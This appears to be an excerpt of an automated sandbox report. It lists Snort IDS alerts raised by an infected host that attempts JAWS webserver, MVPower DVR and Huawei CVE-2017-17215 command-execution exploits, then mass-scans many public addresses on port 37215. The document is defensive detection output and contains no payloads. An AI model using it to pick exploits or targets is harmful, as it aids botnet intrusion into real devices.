Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:34520 -> 104.140.93.140:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:46598 -> 23.216.248.188:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:35752 -> 38.25.44.98:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:49456 -> 209.50.54.16:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:60504 -> 187.103.57.101:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:56578 -> 191.61.154.23:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:39148 -> 66.225.154.222:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:34520 -> 104.140.93.140:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:52552 -> 170.75.210.35:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:46598 -> 23.216.248.188:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:60816 -> 93.115.168.99:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:35752 -> 38.25.44.98:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:52552 -> 170.75.210.35:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:60504 -> 187.103.57.101:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:60816 -> 93.115.168.99:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:60132 -> 156.17.92.36:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:43582 -> 18.173.241.216:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:45862 -> 50.17.201.7:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:60132 -> 156.17.92.36:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:57126 -> 47.100.116.194:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:57126 -> 47.100.116.194:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:38312 -> 72.44.39.162:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:59624 -> 18.67.28.124:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:38312 -> 72.44.39.162:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:59624 -> 18.67.28.124:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:55724 -> 186.57.217.219:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:35536 -> 23.38.201.46:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:46812 -> 204.210.116.62:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:55724 -> 186.57.217.219:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:35536 -> 23.38.201.46:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:46812 -> 204.210.116.62:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:59760 -> 123.60.161.245:80
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:41472 -> 156.235.107.22:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:41472 -> 156.235.107.22:37215
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:34026 -> 23.45.219.196:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:59760 -> 123.60.161.245:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:46110 -> 183.89.41.96:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:60564 -> 104.86.53.229:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:34026 -> 23.45.219.196:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:44452 -> 87.236.19.186:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:60564 -> 104.86.53.229:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:54234 -> 179.57.172.65:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:44452 -> 87.236.19.186:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:46110 -> 183.89.41.96:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:54234 -> 179.57.172.65:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:57080 -> 34.66.137.67:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:38114 -> 93.119.0.28:80
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:34084 -> 156.224.15.81:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:34084 -> 156.224.15.81:37215
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:57080 -> 34.66.137.67:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:35684 -> 13.37.125.83:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:38114 -> 93.119.0.28:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:41786 -> 61.160.202.82:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:41788 -> 61.160.202.82:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:35684 -> 13.37.125.83:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:41788 -> 61.160.202.82:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:41786 -> 61.160.202.82:80

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 60214 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60214 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40390 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40390 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60214 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33452 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33452 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40526 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60214 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40526 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33452 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40526 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38884 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38884 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38884 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33452 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38884 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40526 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38884 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60214 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60620 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60620 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60620 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50276 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60620 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50276 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53386 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38884 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33452 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53386 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60620 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41472 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50276 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41472 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40526 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41472 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34084 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34084 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53386 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43066 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34084 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41472 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43066 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34084 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50276 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60620 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41472 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43066 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53386 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34084 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51518 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51518 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38884 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43066 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41472 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51518 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60214 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34084 -> 37215

Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 197.145.240.177:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 197.107.42.190:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 197.88.30.177:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.52.122.219:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 197.96.202.249:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 197.157.241.217:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.78.121.159:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 197.128.79.90:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.114.164.189:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 197.99.18.154:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.203.252.78:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.77.71.235:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.253.250.229:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.112.197.121:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 197.61.191.186:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 197.64.236.117:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.1.89.138:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 197.160.5.71:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.10.10.112:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 197.56.108.118:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.237.164.206:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.168.49.13:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.35.110.250:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.238.87.246:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.60.200.16:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.236.192.103:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 197.245.47.59:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.146.159.220:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 197.240.31.17:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.132.35.29:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.239.153.17:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 197.254.180.134:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.54.122.5:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.59.210.36:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.138.231.19:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 197.158.27.147:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.149.210.247:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 197.94.116.251:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 197.158.224.98:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.218.107.244:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.58.161.224:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.85.121.194:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 197.221.111.206:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.16.51.202:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.245.78.18:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.41.120.171:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.139.2.136:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.36.45.208:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 197.111.233.161:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.229.133.161:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.168.78.54:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 197.85.243.30:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 197.10.70.164:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.87.39.118:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.61.107.140:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.111.32.78:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.123.20.83:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.245.93.32:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 197.53.84.165:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.91.20.82:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 197.130.77.90:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.171.153.101:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 197.142.176.226:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.158.164.165:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 197.247.237.119:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.99.196.36:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.1.12.173:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.16.177.127:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.40.34.95:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.214.215.152:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.51.247.92:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.235.238.154:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.106.128.42:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.16.2.136:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.188.236.96:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.198.53.42:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.4.219.1:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.208.35.25:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 197.178.126.114:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.23.23.95:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.139.159.190:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.5.239.132:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.38.70.128:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.154.202.236:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.209.199.140:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.36.71.26:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 197.60.167.178:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.39.234.240:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.158.183.194:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.219.200.66:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.210.226.143:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.188.28.188:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.234.223.138:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.39.108.160:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 197.11.53.93:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 197.253.253.227:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.52.74.252:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.99.239.143:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.187.131.156:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.249.129.66:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 197.122.122.4:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 197.98.234.247:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 197.136.53.149:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.83.210.245:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.27.174.170:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.84.62.111:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.136.16.83:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.134.84.38:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.127.170.90:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.114.252.245:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 197.176.239.141:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.251.204.73:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.86.181.142:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.106.178.118:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 197.125.9.115:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 197.45.193.136:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 197.221.139.184:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.253.112.79:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 197.74.179.234:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.121.129.75:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.126.56.118:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.123.74.207:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 197.217.51.129:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.217.48.168:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.77.155.196:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.92.236.46:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.245.188.145:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.94.142.250:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.243.1.128:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.114.23.169:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 197.252.58.230:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 197.54.31.151:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.22.86.209:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.109.116.130:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.43.52.34:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.98.92.16:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.104.32.17:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.66.120.250:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.3.51.76:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 197.130.169.52:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 197.254.153.67:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.43.232.114:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 197.241.99.213:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.5.220.5:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.20.50.76:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.114.77.114:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.255.74.239:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.219.131.211:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.143.113.4:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.190.81.198:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 197.148.194.240:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.13.46.135:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.36.16.251:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.204.34.171:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.0.239.130:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 197.149.26.160:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 197.9.170.18:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 197.95.29.155:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.118.18.78:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.231.193.190:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.11.162.120:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.246.35.53:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 197.161.91.250:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.90.59.119:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.135.228.119:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.36.223.158:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.52.174.2:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.64.210.73:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.174.152.87:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.212.87.12:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 197.39.86.228:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 197.238.193.65:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 197.74.127.42:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.180.35.219:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 197.189.96.22:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 197.211.243.203:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.213.145.173:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 197.230.158.85:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 197.167.86.93:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.155.105.245:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 197.86.177.240:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.72.196.135:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.132.95.52:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.94.45.222:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.255.116.89:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.103.144.51:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 197.1.92.136:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 197.211.175.47:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.71.7.235:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.250.111.156:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 197.101.203.183:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.142.104.177:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.101.175.238:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 197.64.61.22:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.51.50.130:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.245.243.96:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.26.41.245:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.155.241.0:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.2.29.66:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 197.161.55.131:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.226.73.146:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 197.244.246.138:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.211.44.49:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.174.202.242:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.155.229.36:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.248.228.105:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 197.156.81.138:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 197.169.218.160:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 197.212.81.96:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 197.81.76.152:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.171.149.100:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.88.120.134:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.159.75.165:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.249.63.141:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.199.154.141:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.193.37.244:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.249.83.47:37215
